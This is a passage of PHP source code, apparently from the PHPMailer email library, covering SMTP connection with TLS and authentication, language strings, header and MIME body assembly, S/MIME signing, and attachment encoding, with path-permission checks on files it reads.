                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
